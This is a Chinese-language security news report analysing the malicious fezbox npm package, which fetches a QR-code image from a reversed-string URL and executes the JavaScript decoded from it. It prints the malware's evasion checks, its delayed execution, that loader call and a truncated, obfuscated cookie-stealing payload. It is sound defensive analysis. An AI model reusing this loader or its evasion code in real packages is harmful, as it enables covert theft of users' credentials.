摘要

本報告針對惡意的 fezbox npm package 進行技術分析,該程式利用創新的 QR code 隱寫術 (steganography) 來竊取瀏覽器認證。分析深入探討了此 package 的混淆方法、Payload 傳遞機制,以及負責竊取認證的特定 JavaScript 程式碼。主要發現包括使用環境檢查與延遲執行來進行迴避,以及利用複雜的字串操縱來隱藏 Payload 來源。本報告旨在揭示 npm 生態系中進階 Threat actor 的戰術,並提供關於如何應對此類供應鏈攻擊的見解。

供應鏈攻擊再進化:解密利用 QR Code 傳遞 Payload 的惡意 npm 套件 | 資訊安全新聞

1. 簡介

npm 生態系是現代網頁開發的關鍵組成部分,經常成為惡意攻擊者的目標,他們試圖破壞開發者環境和終端使用者系統。供應鏈攻擊(將惡意程式碼注入合法軟體套件中)構成重大威脅。本報告聚焦於一個特別複雜的案例,涉及 fezbox npm package,該程式被發現會從 cookie 中竊取瀏覽器密碼。這起攻擊的獨特之處在於,它採用新穎的 QR code 隱寫術 (steganography) 進行 Payload 傳遞,這項技術顯著增加了混淆與迴避的層次 [1]。

fezbox package 偽裝成 JavaScript/TypeScript 工具庫,被發現包含高度混淆的惡意程式碼,旨在竊取敏感使用者資料。本分析將剖析 fezbox package 所使用的技術機制,包括其多層混淆、延遲執行,以及從 QR code 圖片中嵌入和執行程式碼的獨特方法。透過檢視這些技術細節,本報告旨在更深入地理解軟體供應鏈中此類進階持續性威脅。

2. 惡意程式碼分析

fezbox 攻擊的核心在於一個精心設計的 JavaScript 模組,它結合了多種技術來迴避偵測並確保 Payload 成功執行。主要的惡意元件是一個立即執行函式表達式 (Immediately Invoked Function Expression, IIFE),它協調了整個攻擊流程。本節將分解此程式碼的關鍵元素。

2.1 迴避與隱匿機制

惡意程式碼採用了複雜的迴避戰術,以避免被自動化分析工具偵測,並確保它只在具備豐富目標的環境中執行。IIFE 的開頭幾行展示了這些機制:

  1. (function () {
  2. if (n.isDevelopment() || c.chance(2 / 3))
  3. return;
  4. // ... rest of the malicious code
  5. })();

環境檢查 ( n.isDevelopment() ): n.isDevelopment() 函式呼叫是惡意軟體隱匿性的關鍵組成部分。Threat actor 通常會實施此類檢查,以確定程式碼是在開發、測試還是正式環境中執行。如果函式回傳 true ,表示是非正式或分析環境,則惡意執行會中止。這可以防止惡意軟體向安全研究人員或可能模擬開發環境的自動沙箱洩露其真實意圖 [1]。

機率性執行 ( c.chance(2 / 3) ): 除了環境檢查之外,惡意軟體還透過 c.chance(2 / 3) 引入了機率性執行機制。這意味著,即使通過了 isDevelopment() 檢查,惡意程式碼仍有三分之二的機會不會執行。這種隨機元素進一步使偵測複雜化,因為惡意軟體可能不會在每次分析執行時都觸發,使其行為更難被持續性地識別和分析。這種戰術對那些只會有限次數執行程式碼的動態分析系統特別有效 [1]。

延遲執行 ( setTimeout ): 一旦通過迴避檢查,惡意攻擊並不會立即啟動。相反地,它被包裝在一個 setTimeout 函式中,延遲時間為 120 * 1e3 毫秒,也就是 120 秒或 2 分鐘:

  1. setTimeout(async () => {
  2. // ... payload retrieval and execution
  3. }, 120 * 1e3);

這種延遲有多重目的。首先,它讓 package 在初始載入和執行階段看起來是無害的,從而繞過監控即時可疑活動的安全工具。其次,它能幫助惡意軟體撐過許多自動化分析系統的典型觀察期,確保 Payload 僅在初始審查結束後才被傳遞 [1]。

2.2 透過 QR code 隱寫術 (steganography) 傳遞 Payload

fezbox 攻擊最具創新性的方面是其 Payload 傳遞方法,它利用了 QR code 隱寫術 (steganography)。惡意軟體沒有直接嵌入惡意腳本或從明碼 URL 取得,而是取得一張包含嵌入式 QR code 的圖片,而該 QR code 又包含了最終的 JavaScript Payload。

混淆的 URL 取得: 取得 QR code 圖片的 URL 本身就透過字串反轉技術進行了混淆:

  1. const t = await loader.parseQRCodeFromUrl(
  2. "gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yraniduolc.ser//:sptth"
  3. .split("")
  4. .reverse()
  5. .join("")
  6. );

字串 "gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yraniduolc.ser//:sptth" 經過反轉後,會揭示實際的 URL: https://res.cloudinary.com/dhuenbqsq/image/upload/v1755767716/b52c81c176720f07f702218b1bdc7eff_h7f6pn.jpg [1]。這種簡單但有效的混淆技術可以防止隨意檢查洩露 Payload 的真正來源。

QRCodeScriptLoader 功能: d.QRCodeScriptLoader() 類別是此機制的核心。它負責:

  1. 取得圖片: 從重構後的 URL 下載圖片檔案。
  2. 解析 QR code: 提取並解碼嵌入在圖片中的 QR code。這意味著圖片本身不只是視覺上的誘餌,而是攻擊下一階段的載體。
  3. 執行 Payload: 一旦 QR code 被解析, loader.executeCode(t) 方法就會接收解碼後的內容(也就是最終的惡意 JavaScript Payload),並在瀏覽器環境中執行它。

這種傳遞方法特別陰險,因為它利用了一種常見的資料編碼格式(QR code)並將其嵌入圖片中,使得傳統的靜態分析工具難以偵測嵌入的惡意腳本。圖片本身可能看起來無害,進一步有助於迴避。

誘餌操作: "idbgha".split("").reverse().join(""); 則是另一種混淆技術。反轉後,它會形成 "abghdi" ,然後立即被丟棄。這充當了一個誘餌 (red herring),轉移注意力並使程式碼顯得比實際更複雜,可能讓分析師感到困惑 [1]。

2.3 Payload 分析:認證竊取

fezbox 惡意 package 的最終目標是竊取使用者認證,特別是儲存在 cookie 中的瀏覽器密碼。從 QR code 中提取的 Payload 是一個高度混淆的 JavaScript 片段,專門用於此目的。下面是此 Payload 的截斷範例:

function getC(name){return document["\u0063\u006F\u006F\u006B\u0069\u0065"]["\u0073\u0070\u006C\u0069\u0074"]["\u0066\u0069\u006E\u0064"]?.split("\u003D")[726915^726914];}async function s(){var _0xdbbc;const _0x192e=getC("\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065");_0xdbbc=326188^326184;var...5971 bytes truncated...

Unicode 混淆: Payload 大量使用 Unicode 轉義序列(例如 \u0063\u006F\u006F\u006B\u0069\u0065 )來隱藏關鍵字串常值。經過反混淆後, \u0063\u006F\u006F\u006B\u0069\u0065 翻譯為 cookie ,而 \u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065 則翻譯為 username 。這項技術使程式碼難以閱讀和分析,除非使用適當的反混淆工具。

cookie 存取: getC 函式旨在直接與瀏覽器的 cookie 儲存 document.cookie 互動。透過操縱 document.cookie 並使用 split find 等方法,惡意腳本可以提取特定的 cookie 值。運算式 726915^726914 的計算結果為 1 ,表示試圖存取被分割的 cookie 字串的特定部分。這種直接存取方式允許攻擊者取出儲存在瀏覽器 cookie 中的 Session、驗證憑證和其他敏感資訊 [1]。

資料竊取: 雖然提供的程式碼片段主要著重於 cookie 提取,但完整的 Payload(在原始文章中被截斷)很可能包含了將竊取資料傳送到命令與控制 (C2) 伺服器的機制。這可能涉及透過 HTTP Request、WebSockets 或其他隱蔽通道傳送資料。

3. 執行流程圖

下圖說明了惡意 fezbox npm package 從安裝到認證竊取的高階執行流程:

graph TD A[npm package installation] --> B[fezbox package loaded] B --> C{Evasion Check?} C -- Yes --> D[No Execution] C -- No --> E[Delay 120s] E --> F[Instantiate QRCodeScriptLoader] F --> G[Reverse URL string] G --> H[Fetch QR code image] H --> I[Parse QR code] I --> J[Execute payload] J --> K[Steal credentials]

圖 1:惡意 fezbox npm package 的執行流程

這張圖表突顯了所涉及的連續步驟,包括初始的迴避檢查、延遲執行、透過 QR code 隱寫術 (steganography) 的多階段 Payload 擷取,以及認證竊取的最終目標。

4. 結論

fezbox npm package 代表了供應鏈攻擊方法的一個重大演變,展示了先進的混淆、迴避和 Payload 傳遞技術。其利用 QR code 隱寫術 (steganography) 隱藏和傳遞惡意 JavaScript Payload 的創新方法,對傳統的靜態和動態分析工具構成了相當大的挑戰。這種多層次的方法,包括環境檢查、機率性執行和延遲啟動,凸顯了 npm 生態系中現代 Threat actor 的複雜性。

本分析強調了在軟體供應鏈中(特別是對於 npm 這樣的套件管理器)實施強化安全措施的關鍵必要性。開發者和組織必須採用穩健的安全實踐,包括徹底的套件稽核、執行期監控和進階威脅偵測系統,以識別和應對此類隱匿而持久的威脅。 fezbox 事件是一個嚴酷的提醒,攻擊者正在持續創新,這要求資安社群保持持續的警惕和適應能力。